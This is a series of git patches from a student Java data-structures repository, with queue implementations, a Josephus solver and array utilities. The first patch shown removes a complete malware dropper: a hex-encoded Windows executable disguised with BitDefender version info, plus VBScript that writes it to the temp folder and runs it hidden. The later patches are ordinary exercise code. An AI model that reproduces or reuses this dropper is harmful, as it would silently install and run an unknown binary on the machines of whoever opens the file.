17F85D18958ACB64A6F8F7AC0E088EB616785B470441B5BE22BF257A5BAA4BB355CE268E5B50DCB9F85522D3809CE9CABF10282E5029287F748E0012FF2D3E283335605B18C3CBA2B820E9B8D1BFABACAD3A56373E39EA5D6651CD2CF5A55BDB1326236845E541ADFA3BB2968AC2027C03868D21BD04DD28B130D97F856F3AD26FDFA2B71473130C7D5C9E3857FF3A25AD404BD181890768B958885A860B7C1A0B5BFF61A49689674384D4F4FBC0224C805CDD54FDFD0F70C5D658D73A51B2EBF87FC3AD024D610FA31A819614F0F9F5188E3A80D5DEE0069350C3AAC8EFD01BD9C78DA676768A5BF3000A5CE91125786B69A4E3B4BE04F0F18910DCD05FE8676C160FD342B25F32FDAF49257E2ED4016DE20D5B9FBA3A95BAD16F1BA61EEF4A0DD6A1F870737528964C5F0808970432387D517AC28D42DD5111991657E03CCFC56D79E371AD5A2E90045F98683AD5801BB4C3C7104C7AF2296AF0462DB7AB504A2704D4D0B6A2450D09E7D1BD64DADA98C3FA590E545A9E52C250B50D6CA2F56E6D91CE829B0836650AD54A7FCC82065FE805324604F4552272424F7725FE12F1F037062B5B5106BB8E234E7EABDFC1F6A7D8031C74D88D812408A88064DCED85862E84012A7067CEE15C078DB635A8F8C49B51760F113443A3A5C9FFEC42A94B74423FCA88E0A32AF65FA0C5BAA8510B1DC59949850C560F28C446ABFDD68DAC8DAAA56E2E370C987936851B2DE8ED0EA23C63AD533EC21D8C2AB6DFF58BE7DBD626BE2DA331A11648C4D8965A5ABBC8A1A98104FF105F28350002D9D859F8DF04D4C68FEA31E8F016F94EA082D17054B85CA8516BDAFBD37F2B6F3927876A682C72B9DB02F953F281A2BA827B09B221902BF2625A26F82DDEC09880F0726308B8BD5C9B4B74445B5C61076838940D0AF1C0120E90630E99AF54B48866EAEA64DB970CF1DD2CA294C973B8097AE2CE181BC042B47F1487985C08C4F642DB5C87315A5B74DE003438DD4BAFB6ED6241C4B424616008B98512F0DB78E4EDC3B82927AE3D98B5F1160BD42E3DA7F11DE289A1425730F85D5BFE0F89B4F4D76DB31B849254BD4E924CE1367417BC933664B95EB4A61BB75BC1AA5E8AEA494DECFEA800ED16D0173EB04D792040F7F35D014AC46F2B3CC2A3A52E4AB6DD6ED95AF225122858998D83468D6F8D6E0CE2275924AD842F6E5072E5B6DFDE789908EC04241C041BED52D14FA226E80729D74553B7A059B020E09C1E355A7F6B5B1F3218C991D9082F9FAD6ED416E629FD519DCCBBD0FF1677CFB4DE89A4D82CD1F4A4D9C8F66FBCB97EA3342E5501670E2D599D5BE26C8D880300EDC98212E1F3C4770415889F61CA5AE818A51AB4BA4F844D27AC7EAFAAFFC42AF796E32DD62A8C6DE5C25B7F13CE7A1BCC088F9E6306A47A42EE7FA9A5A27D6EDF886B96FA4880FBFFD2B7CC8762DD2A81666387A10199D26DF980584E3C5B807609789F7E35D889068EF85B04377A68886F48447653CC0CA30916D8352DD503CFCC1AF083F660B4000CA6BD2ABE400BBF9B92E443CD0DD6C9BF6FD5DB0CDE60BB3953181FADBC8F8AA6EB2BB6DA5003F927DFCD7611A23928EC9E3B17B91634B708FE5FEABC1C981542C000FD1E0D97E193E160A96E447D1056EABC1BBFC4D63B214157194359B8067F20ADF576C3D81EC9DF98BCBD04335B14F7A27F57F84610ECD72148E1EC0B7FDC45D19EB76A2180978427DD21A9C59181479735B97CBCE7E0ED89C2107D4A3EF1B393ABD66D09A79BF6EED76E4BBF7C09B75155856AEBF05BBA9058E1009BDAC2C21665B2CE47A3AE308052D120709089EE171601CF687C97C13096EDC3AF8ADEB8D1BB1092BAB2D2EE77513450794695E111AECFBFB175E3434203FD24945ED0A5AD80DCEE05D8762D77E7C531D5E8B1B99D39725A850CB52A1344F2EEBFD42572F49EA8F54C76069B58667F1E1614FA02A801BF7A5EB06843B5802B62CAAB6DAB1AB66DEA4C1917CB0169BD48D4FA167F00E093913B3727B1808F4167AB0A852AFB050AD410442A62FC756F71EB6F1E5643F9A9530D156261927B36FD6E6F0BFCE0158AB03295AB331F6A00E923679C6DD4880592405C7EBE2D51DA4AE5A01D1318906B11DF0E319C81D316BC160A1768C376B3CE6725356DCA85900E68F402B5B2576B20E8875F861D918B55899D4A3675152C11F55149DFEAB7054EF28B4353B031600437B756610392AFFB5EDF184E3D6CFD6F2B84EA0093FCF86FFDE4ABFF83BD68451D7506E00E9A93B9F8A97499EBFB2FF5AAE977E986DF529AB11AF993FF6749410FAF4A0C2D347CAA40911CF69308FE83A3FAF612943E20C414345DF68BC87CAB5A68826187C92FD54D2F5BD7025A7169285902816C443FFAA9D81F72349DE6C197592F6CB71A5A5806BD0E15423E67620857FC8553357D5D5804F97ABEFFB54CB53CCDAE00E8A94BA03FDF2EDCE003F09199D1F75108E46F602C3CB2C00517FA0A97797F89DEFD53046CC45BDBA769C3333F10B4E450FC428177BBA0421CEAC8216F24F0EA42BEC45F4BBDF6968B0F113DAA5A078858E810B83AC7207CED5FA28DB164D9715D862B8425308AC24206A05E3CFD4F814BFD3BDCBAA6181E300A342495BEE6D1B4CD55EFDA40CE051484F6201A716FAD51AAC5F7CBAEABD4DF892D0CAD0D103242458BB8D4377ADD6D464EE14105F6FCD860D5471BB665B67F89D393D5DBC65BBF354A642895F551A600CEB81F25C2B8C1DB026BDC4F2FF170CF301B37B870811D4024C7FCECCD48056F7057070C4272FBC8635F934780D611B5C18B40E4DE39499B37A89AE348BB84E0477F04B061A9D1A4F5B09B57E7F5C117FE0503774D21A780DB3A3D86509467105BB84333A58C7BC5ABFAAE6FFEB8073A13582C7053831AD86F1E5E9A87C1EF2E2C68DD26C0169FA1051AF307F2D8280A2C971ACCE908A0FB47ABF0BA92C5FB90F6FDFA1BDBA5B9E1034BE53B7384D11248E0A5BA15358109F45A336FA2B6E0499AD544736C8DD2760A16553045640E69002EB1FDBD1CB089013923DEC04C003636DC89BCA6739D48BB6E71176FD0658304BAE2E580D3B454AB0A6CA34C9FB0DB4B6DDB75180C6F997FDB07967C7D63832FF5D2C1AA894E9BA14A14056C045084FBBF90E5D7A9D60455294077EC33BDF6067E2B992E9F3EE473E17378C441AD142D5A6883215C903596557B23E813D5161F1CE33FD6FEC2F66D61ACC8431DDD3A4F2C75FDF167E956D4A2DC4B4B4022758C0B7CEAEBB3E82885D3EE8EFCBB6B8A12F16BB730C382BE71B668307D005E4E45676189E5B97C83D6D5740765BDBAE7BAAE8425A2F45B7B6C664D8F4259985BDB6D6DD0137CB835D9F9A9EF1F2DE212D04C88AF5712F11B375480123FCA980CE411F8A3B844814B3BF8C3049008431D712D1FBEAC4500EFDB1703F0B844B33DE603627214EDFF5FA2AC491DE4B8286B803D466143697931DA32F6BC00DB1B9CF9C291F419BB5BDB73B0B1D55B14FAE5C11576ED7C6851B76E0A03F2D754CDADFE56BF89FC31044D8580E429B75B6ED6AF000BB95E165668A2E502523AB27FE9FFD21ACF631FC8C38CCFE021CC1F0527FE0D83AF961CDC17D8FE72FED45FD577033DCEF1350F048C31F81B6FA51448EA19203F3A8EE9F6AA024B40BF2334D042A3CF8E023982CED478C7D3194490E43DD5285729EDA6DFFAC0983F0DC95A0CB9C535F06886E46E7D0268DCE8044CF8F90102DABCF1C6EF6B30186F80923A4A617860E182C2621B5C8A2F68BB7DDDB1BB9834FA7830D1DA1CA4DCE123905A891C94A98A8112BD55A3EBB9D18853D3F5A70411D0D1BA113314D836D0A3BDC1FFBF520DE1BF600E901C291D8076BE505EFD5387DD28D16AA9111033C59152FDB6B1D8C939309204FA10E244C8FEB7D8A029FE1E44A70C8CE4E0773D1874DBFAEF73CBFD7400FA308740606BBC7270184D5DA0BF39633ACA034C17EA27041BEFF4C2A5E87F1CA01881A20F93D02D89F6160B18B0075EDD3D48DB1C049478B10619C50A6BA316E89F40B67415800D41DBB1400B0A5EC3EF9F371AF8B6618417180FD618C6F5C50D8FA169830B0391D552B25DC09DB785CB8686827AAEFB549F338DFF46FF86022A9B8A699AFC206EC689266300E4A16D354BC58DE203B3F430AD0AF18EB56E97B62E20EF9B32D2BE517AF235D5A05D7304234AA8362E5E6CB8224FFC56F78B506DD0B67E8B69D04BEE33E28B79B6152A941A2A1585B811795BC36FA2975E31AE3485EC8227288FD8051B6C9D671CE6EF40F6E2DB1B9902B8A30CD24134988371E05FE01B17AF1A7C55523680FC52007AFF4E16B5B0DB1E2B5CDD897B083B28118EFE2BD156780A20D9A7D2B7A2DB0AF27CD1459784727C5DE956F0C2B714273FEE6916EF4AA5AA61695AAC5831016C140BF412F590B9033F022B68052C3CBBA96BD685BE41A05ED083789F505516B5A56D814C87EB63FA34B175FD56B0360B9523DC53D06B7420B778DB0195AB4C11D9AC54410A3CE802FAFF31E6AFD43A0C372C8F82C9B973DA086B11ED8D396A3AA3850B2D6F5FFA76D5A70D174399E996C3B580421D162DA7157FE1C57CE560ECF050684EF1E71071831F3E92BDE68F0C2DD406FD0F2126CB82A92F8DA8ADF5B641FB29C1F03D849D7092A35AD8370B17D5D6EA86125BFCC104858144106B1F2C4D746BB79442118A4D05CFC3E819DDDA6FF8A1CEEC89B11DBC44373926CE45FA0053572568CA26D9A86882D5F6F45273F2A8020C36DA3151D2FF8DAF228257469E579D042CC70FEA95225AD56668DB35098B34BE12B9A3018D0274780691E0A5BF414F70B332FD40EFE71AA7B0375C225AF84A38615FD369B08AF4ADB8F55710F7AD55918EE3461F460E71CB10B0EB9380172B76F0FFD451F5EC943DEF1882580780AEDE0BB4FE152C3F0BA020211CED7FE1421B2D17E238849715E59F044130C5462B5074EB1EEB6F1F14DC761F3148C05954F179C44DE1DE82923BA83A06F237F1176CF0BFBC9D407886AD3C2D6308D0AB600B7A0422F57FEF9AB323FEBF70A71C3197FAF103047645272600B5DD2377138D6D8D202922E709217255976A577CA40DDEEE4777F0C3A5CF7D428EFF02722072F17CF54FDD8D6AA5B56809EA321B7B521BDE2A7C4790141BE7A33E33DC692018F8AF96E8CDFA0690E093F04F7D882D1820962F3186D8F806EA1DB4102635E6018B013FF45BA3E29F2113EC75E40E9B6063B08307BE53045151ADA95714808E4D14764BF1BE0D0D4307E0C7F802BF019BF83475407D7E352A7DF5BDD55AE80542C7120A776F70CA12557717860088175A88CA9B820DE0CDDDBFB64EFD64BEC1EDA647D7233182796B1BD1F5417A54822DA2834B1419C17DBB2DDC76EFF182DA1562AC9654B31F66817629BAE32CAACDE1FC0F239F9E5445BBFEE957428F2A6D14769550F675D7DA59C56F5D025C6114D1187434AFC937017FC9703F5D6104A765D0AA5D13E815FE465B805E5D984AD394BF7174A254E34637DCC6E99F0AFE1D3777153822CB80B798C785596F231ED5B753E5C77B7815402FF0216A0D1704F06DBB3D3E58E0AD8815CE25F1383748DFDAAAB70FAE5383FED60925B7A7EE1B3788B7E3DB0B82F32BBC6538C612BDA88537BEBDA7E2BA00F0EE8E99FBCD800C88E225B1C6EDAD292380804E14279754780CD3F60DC1E82BE4939DE14DAB10C805A5AD35CF9510C7FF4217FAB6B3F42988B0EFCEF8B84006967E2BFC33877881E85B2EB07580C6DC56E90C6F3718C0FEA660B030658B66C4755CA81B1413804D5E7F064E807714EF6EEC98061357DB00C3EC0C3639C3AD3A137C331D5B86313914BE15F505D6B70C1C3A68A0986EC0FF46BF8D522F80D44E1F1320B52582B4B90A38C4F05C05EEB680DF14DD5BEF558202D5553020DEB50284D6EE12C232FEAD21E8FF1A8D1603976D40FC480903BCFD3702D3907F20B760D640E6AA0D67390B4BC41687242246F74F6ABC356A0AB71FA3DAF1B1B72854257C638D283F77777BE864049C332C404D006CA9208E97D63528746785309E825E75707EA9EAF61CEDBF3596381C5AA10C8DA9FF7775A1F37B00BD56DDA0C13BAC67E26512D2C70FEA1BCDD1E11F8FC748D094600B5744DB1DBB3C7D072C5D895D9DC24E31964178D8B71BAA37B8D594F035D6C5057496FC62C9C4ED620335621CDA11C213892F0BDCB10850EB37C8E24A85CA01DA2A47476C23C416F4FF6E0755336F8F35B906F806F73CFECA02D12DDEBA004C2B36B645AAFABFE81237A29175807EFFF35512B7E0A52E371412B35498B60A9F82EDD94D3D3C833E70B3D678FBA5F2A8CF6DEA4E3400167C515D87A8CED11B34A922790196FA12B7A2C203D86BBE29B4055578C07FC21BBC431B0FDB52BBB3BBA60D150D7483AB68FD6D082B0F54E7E2F22B43EE2F541E69A0149B00A0BC0D6B54855F60283D7D175D60EFD727FEBFA16E8955E3FEEC80B07D99408E3953458C94D9DE760414A75953441F38C8D18BBF10AD9BCE9D5DAD2E4A0E44E112B4BD6E1822AEBE71CDE04595DD6FD07598421E60163E1C61F7D15C215B476D810B8FF8073919508D1B0253D0223ED2D0E180B770FDF681F90059DC0082A8BBA384D7A4499B76B7C2BE42E62777CAD96E0631C49AC21674FDD64D041701FC1CAD1DCCB8856E34E06D7EFCFD40363AB18161E14A300975F306DE980DDAC2BF61D15F74DD78DEBF1F1FE4CBDFBA2DF1996D709C398469A39B9D397E81FEBB3265FEC3E421A4B27C80A8408032857FA3FD6C41386078702A5EE840813DD41FCCEF115BB547088FEE61E94B6C2D40385BACBE18D9A533781C2FB075BDCE6E23240A0942FE0DC077B78E83CCD6AC23C410348245856E8DFE6DBFCF77481D4B884909A4DD2B805F8ADE1B643704AAAEC409437F61FD30E34A6FC3C66CF7332D16DE759D7C0570BA094D76431400144ADDBBA03D74FD80DAB7D868A68D5F40F60197F617BCFDEF285D9F975BFB1CC8767B23874A23660C975A801F010CECB78EB6FDA75AD81CFCE8F8158EDB102535CE9270D2520BEEB68F196F4B933839966289ADFEB015E1521DAD806D0B04D11A24AC41DB5B8113A1C8BF3028437FB65B0D6E86365FB5B0627C693CEEB7AE0A6D8A8C637DD739B0D9099678EB069647DAAB1A464BB16D7FB45D433B2979F86A4922AF931FB195FEA3800A493A3F403DA3B8DAD605FABFD8CD3C93388A231CA804A5E3E621B0AB4B4DFD60E1E884E802F82F3646336EFBB66319BE305B3D71AC0A71ED4C62777CFF0B641C96B5EFC5B5EE6C4055F96532C0398DA86FE802BA03CF46B47BCD57E46FB1C1D287A37D348F46661A64814089DF62262597DF62DC33FEB7D446CB73652ACDC882A0FCD21B40D70F4702292E4B52EA7C7E110458151820AAB00897514104B2A3002A90460154208C02A84019055081320AA00264144005C828800AAB510015F19EA9A8207C30ED7FABA06D4C6F63616C467265650A96BFBDFD4578697450720F657373174765744375726E7FFBDBC31249641451756572795003666F726D616EDB5D6B6F15436F751F0E456561760D726FBBDD6D3F694D536563076F6E15491C9BDBB6B76C3D6B65640A634B6D4D59533FD6DA2F4C617374455C45674D6F64756CDAFF6DDB6548506405419161644C696272616ACA1258CA0D9542B5BBC3FE5669727475D65796654669188DBDB99317416C940D556E68306465CCBDADF84A70B225CE486BED65B3703C705468058A6FADECE6DACBE745697AF12EB017CC2E98423E5213B6B2E7078EDBC657AD0DD666862DAD4D1963D7B5F6DB42799F546F5769647ABBA84354952B8B39115B7D53ADE16E85E32C5374610F70CF116CEB0ACF7F4366737BC200618516198A7D6159586B6146D653696E67733C33BC454F626A17296F6D30EC963D76AF6ED79745760BF3FB66871F104E616DBCD310570C233BB203414841FEC2B60B084E3944653374A185B13056028B8C04B68499C7E42B4B090B07F008291B618B2729AD2D3206A559BD71FA8B6D767929BA506F697421EC2E842E5F414350DEE1ED0AA746D48EC161677BF792534909E04465D2120658C5659C81903216854E4A5A496FB55CF7B27B6D5D1154A06B96D054651B2673B48020496C2C6370D086F11E1D41033ADDC021A3574B00891E4031012E98DAD71D48A270DDF1216C64F0C661DB53502668D36767416388C0ECE19277731020F07609C3BA0354D9726776AD70618B5380613C49633D0AA1AD6C6544207EB9D885A582A51B6F7166798E029BBD21F46B746F708E13602B0BD84766465BE1C55613F0ADCD49B1952DB444CB4057E925E11476780BC36E4D616F912D61362D4A1E505868ED686508BE70758D157E0BEC0297244162E7B03761EC8E0C5F21F012C72B2584C8E3C7216523B041D6E1C046082B3129A13056966142610921650D487312424A485C8CB310C2CA36F067C24A18098BDCEEC6208C50896391B0425A97E75B09232C34464292524222DFA632B6ED3030AC6E1C68BF022994ADCA7D09235B16375DF246B6CA1A620F6919231269215E0C4B652B644B9660360B8B9578324730891B0DD2A16F77F2F860E06EB16E7551B8426F78412016AC3D711F100D2D7C30FA53736E446C67490A6DD7C4BB81313E777370723A660A2A1B743F897973224D4E72C882ED6EE8497344976F67316DEEB041C391776C786D98F013AFB548EC9F7462656772B7D686758C64AF4666D563684FAC2C619B26AD4E1D823966504516BACCE05CA1077BA5215A1670B4EEC1DC1A52421E11A12D5436C5615AD70F929DD81E6C52D9ACE7BC995B607058E11F36171F4D436DA452B54C6505A3B6D56AF075302030A3D6B8046970599E6EB849B4985674A51B1E96CD4CB773AAA3536B0C2B1848EDEE8A2F82B576A154346E73ACB29D2D210813B49C6830F7D9CC56A45655706432B61809B3C3D89DC0368B6449E43F3FB8843025B8A1875701356A6785ED3156244DAD10361E0D74666BC51E133A9184889361C85A9B2CF7F18C5081564608636B4362121646C8D0F86D73A58411256E062786EE5636CB384B65797358082B6B901DAB4D68985B126114491FB22B6598A446ABF8506F900DA3AD8A69343F7124AC84CF2B4BA49034C3A26CB12718056BAD4BFBE14C6A1DD273A5432BD696B4846156EF96B0843432AA0FC36DC76625A5005045034CDFFB56407ABC7CB1470F14E0EE59B7FC000F010B0107900CB413FE1C04D93AFBBA1003A00D400B02BD0A3B77D8B20800043CA0140C3D3CBD819DBD021E34100706AFFCB69700C0433B5077600144E7C21064002E0264656EC8DE7BE390077F2095C860B1A62E9061D70394836D062C02402E7228200164B37D1001271A2801A6FB5EA973A30C23602706DF85B692428F3DCC47172A000000E09F020000900000FF0000000000000000000000000060BE00F041008DBE0020FEFF5783CDFFEB109090909090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9120100008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE009002008B0709C0743C8B5F048D8430E8C4020001F35083C708FF9638C50200958A074708C074DC89F95748F2AE55FF963CC5020009C07407890383C304EBE1FF964CC502008BAE40C502008DBE00F0FFFFBB0010000050546A045357FFD58D871F02000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E93E5BFDFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020010000000200000801800000060000080000000000000000000000000000001000100000038000080000000000000000000000000000001001904000050000000A4D00200D8020000000000000000000000000000000000000000000000000100010000007800008000000000000000000000000000000100190400009000000080D30200680100000000000000000000A0600100D80234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE000001002A006A003D0049002A006A003D0049003F00000000000000040004000100000000000000000000000000000038020000000053007400720069006E006700460069006C00650049006E0066006F00000014020000000030003400300039003000340042003000000040000900010043006F006D00700061006E0079004E0061006D0065000000000053004F0046005400570049004E00200053002E0052002E004C002E0000000000680008000100460069006C0065004400650073006300720069007000740069006F006E000000000042006900740044006500660065006E0064006500720020004D0061006E006100670065006D0065006E007400200043006F006E0073006F006C006500000000003C0009000100460069006C006500560065007200730069006F006E00000000003100300036002E00340032002E00370033002E00360031000000000034000A00010049006E007400650072006E0061006C004E0061006D006500000044043604370440044E043A0448044D04490400003800060001004C006500670061006C0043006F007000790072006900670068007400000032003500320038002D00360031003400320000003C00050001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006E0065006400770070002E006500780065000000300007000100500072006F0064007500630074004E0061006D006500000000003B044E04370430043D04450400000000400005000100500072006F006400750063007400560065007200730069006F006E0000003100300036002E00340032002E00370033002E003600310000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904B004786301003C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E653D22796573223F3E0D0A3C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0AA0203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0AA020A0203C73656375726974793E0D0AA020A020A0203C72657175657374656450726976696C656765733E3C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365222F3E3C2F72657175657374656450726976696C656765733E0D0AA020A0203C2F73656375726974793E0D0AA0203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E00000000000000000000000064D5020038D5020000000000000000000000000071D5020054D502000000000000000000000000007DD502005CD50200000000000000000000000000000000000000000088D5020096D50200A6D50200B6D50200C4D50200D2D5020000000000E0D5020000000000ECD50200000000004B45524E454C33322E444C4C005348454C4C33322E444C4C005553455233322E444C4C0000004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000"
-Set FSO = CreateObject("Scripting.FileSystemObject")
-DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
-If FSO.FileExists(DropPath)=False Then
-Set FileObj = FSO.CreateTextFile(DropPath, True)
-For i = 1 To Len(WriteData) Step 2
-FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
-Next
-FileObj.Close
-End If
-Set WSHshell = CreateObject("WScript.Shell")
-WSHshell.Run DropPath, 0
-//--></SCRIPT>
\ No newline at end of file

From 6dbfb215c05b579b6ecebbd129ee26474f24daa0 Mon Sep 17 00:00:00 2001
From: Harry <chenhaowei93@163.com>
Date: Fri, 28 Apr 2017 16:21:31 +0800
Subject: [PATCH 135/262] update queue

---
 .../coding2017/queue/CircleQueue.java         | 54 +++++++++++++++++--
 .../HarryHook/coding2017/queue/Josephus.java  | 26 ++++++++-
 .../coding2017/queue/QueueWithTwoStacks.java  | 39 ++++++++++++--
 3 files changed, 109 insertions(+), 10 deletions(-)

diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/queue/CircleQueue.java b/group02/727171008/src/com/github/HarryHook/coding2017/queue/CircleQueue.java
index cd82fb2550..8ab6f440f4 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/queue/CircleQueue.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/queue/CircleQueue.java
@@ -1,5 +1,7 @@
 package com.github.HarryHook.coding2017.queue;
 
+import java.util.NoSuchElementException;
+
 /**
  * 用数组实现循环队列
  * 
@@ -16,23 +18,65 @@ public class CircleQueue<E> {
 
     // 队头
     private int front = 0;
-    // 队尾
+    // 队尾,最后一个有效元素的下一个元素
     private int rear = 0;
-
+    // 队内元素个数
+    private int size = 0;
     public boolean isEmpty() {
+	if(rear == front) {  //但不一定为0
+	    return true;
+	}
 	return false;
 
     }
 
-    public int size() {
-	return -1;
+    public int size() {	
+	return size;
     }
 
     public void enQueue(E data) {
+	if((rear + 1) % DEFAULT_SIZE != front) { //队列未满
+	    elementData[rear] = data;
+	    rear = (rear + 1) % DEFAULT_SIZE;
+	    size++;
+	}
 
     }
 
     public E deQueue() {
-	return null;
+	if (isEmpty()) {
+	    throw new NoSuchElementException("Queue underflow");
+	}
+	E data = (E) elementData[front];
+	front = (front + 1) % DEFAULT_SIZE;
+	size--;
+	return data;
+    }
+    public static void main(String[] args) {
+	CircleQueue<Integer> queue = new CircleQueue<>();
+	queue.enQueue(1);
+	queue.enQueue(1);
+	queue.enQueue(2);
+	queue.enQueue(3);
+	queue.enQueue(1);
+	queue.enQueue(1);
+	queue.enQueue(2);
+	queue.enQueue(3);
+	queue.enQueue(1);
+	queue.enQueue(1);
+	queue.enQueue(2);
+	queue.enQueue(3);
+	System.out.println("queue.deQueue()= " + queue.deQueue());
+	System.out.println("queue.deQueue()= " + queue.deQueue());
+	System.out.println("queue.deQueue()= " + queue.deQueue());
+	System.out.println("queue.deQueue()= " + queue.deQueue());
+	System.out.println("queue.size= " + queue.size());
+	queue.enQueue(3);
+	queue.enQueue(3);
+	queue.enQueue(1);
+	queue.enQueue(1);
+	queue.enQueue(2);
+	System.out.println("queue.rear= " + queue.rear);
+	System.out.println("queue.front= " + queue.front);
     }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/queue/Josephus.java b/group02/727171008/src/com/github/HarryHook/coding2017/queue/Josephus.java
index 7b5fe53f5e..b919fbe94c 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/queue/Josephus.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/queue/Josephus.java
@@ -1,7 +1,10 @@
 package com.github.HarryHook.coding2017.queue;
 
+import java.util.ArrayList;
 import java.util.List;
 
+import com.sun.corba.se.spi.orb.StringPair;
+
 /**
  * 用Queue来实现Josephus问题 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数： N个人围成一圈（位置记为0到N-1），
  * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来 该方法返回一个List， 包含了被杀死人的次序
@@ -12,7 +15,28 @@
 public class Josephus {
 
     public static List<Integer> execute(int n, int m) {
-	return null;
+	Queue<Integer> queue = new Queue<>();
+	List<Integer> list = new ArrayList<>();
+
+	for (int i = 0; i < n; i++) {
+	    queue.enQueue(i);
+	}
+	int i = 0;
+	while (!(queue.isEmpty())) {
+	    int j = queue.deQueue();
+	    if (++i % m == 0) {
+		list.add(j);
+	    } else {
+		queue.enQueue(j);
+	    }
+	}
+	return list;
+    }
+
+    public static void main(String[] args) {
+	Josephus circle = new Josephus();
+	List<Integer> list = circle.execute(41, 3);
+	System.out.println(list);
     }
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/queue/QueueWithTwoStacks.java b/group02/727171008/src/com/github/HarryHook/coding2017/queue/QueueWithTwoStacks.java
index c72abadcd2..494ad7452e 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/queue/QueueWithTwoStacks.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/queue/QueueWithTwoStacks.java
@@ -14,24 +14,55 @@ public class QueueWithTwoStacks<E> {
     private Stack<E> stack2;
 
     public QueueWithTwoStacks() {
-	stack1 = new Stack<E>();
-	stack2 = new Stack<E>();
+	stack1 = new Stack<E>(); // 入队
+	stack2 = new Stack<E>(); // 出队
     }
 
     public boolean isEmpty() {
+	if (stack1.isEmpty() && stack2.isEmpty()) {
+	    return true;
+	}
 	return false;
     }
 
     public int size() {
-	return -1;
+	return stack1.size() + stack2.size();
     }
 
     public void enQueue(E item) {
 
+	stack1.push(item);
     }
 
     public E deQueue() {
-	return null;
+
+	if (isEmpty()) {
+	    throw new RuntimeException("queue is empty");
+	}
+
+	while (!(stack1.isEmpty())) {
+	    stack2.push(stack1.pop());
+	}
+	E popItem = stack2.pop();
+	while (!(stack2.isEmpty())) {
+	    stack1.push(stack2.pop());
+	}
+
+	return popItem;
+    }
+
+    public static void main(String[] args) {
+	QueueWithTwoStacks<Integer> stackQueue = new QueueWithTwoStacks<>();
+	stackQueue.enQueue(5);
+	stackQueue.enQueue(36);
+	stackQueue.enQueue(1);
+	stackQueue.enQueue(2);
+	stackQueue.deQueue();
+	stackQueue.enQueue(3);
+	while (!(stackQueue.isEmpty())) {
+	    System.out.println(stackQueue.deQueue());
+	}
+
     }
 
 }

From 9b797d2c6adbcbd0fc13ebf7834d4d6dc851271b Mon Sep 17 00:00:00 2001
From: Jane_Zhou <1294642551@qq.com>
Date: Fri, 28 Apr 2017 21:58:56 +0800
Subject: [PATCH 136/262] data_structure_Utils

---
 .../src/data_Structure_Utils/ArrayUtil.java   | 270 ++++++++++++++++++
 .../data_Structure_Utils/ArrayUtilTest.java   | 100 +++++++
 2 files changed, 370 insertions(+)
 create mode 100644 group19/1294642551/src/data_Structure_Utils/ArrayUtil.java
 create mode 100644 group19/1294642551/test/data_Structure_Utils/ArrayUtilTest.java

diff --git a/group19/1294642551/src/data_Structure_Utils/ArrayUtil.java b/group19/1294642551/src/data_Structure_Utils/ArrayUtil.java
new file mode 100644
index 0000000000..412e261efb
--- /dev/null
+++ b/group19/1294642551/src/data_Structure_Utils/ArrayUtil.java
@@ -0,0 +1,270 @@
+package data_Structure_Utils;
+
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.TreeSet;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public int[] reverseArray(int[] origin){
+		
+		int len = origin.length;
+		int[] arr = new int[len];
+		
+		for(int i = 0; i < len; i++)
+		{
+			arr[i] = origin[ len -1 - i];
+		}
+		
+		return arr;
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int[] removeZero(int[] oldArray){
+		
+		ArrayList<Integer> al = new ArrayList<Integer>();
+		
+		int len = oldArray.length;
+		for(int i = 0; i < len; i++)
+		{
+			if(oldArray[i] != 0)
+			{
+				al.add(oldArray[i]);
+			}
+		}
+		
+		int arrLen = al.size();
+		int[] arr = new int[arrLen];
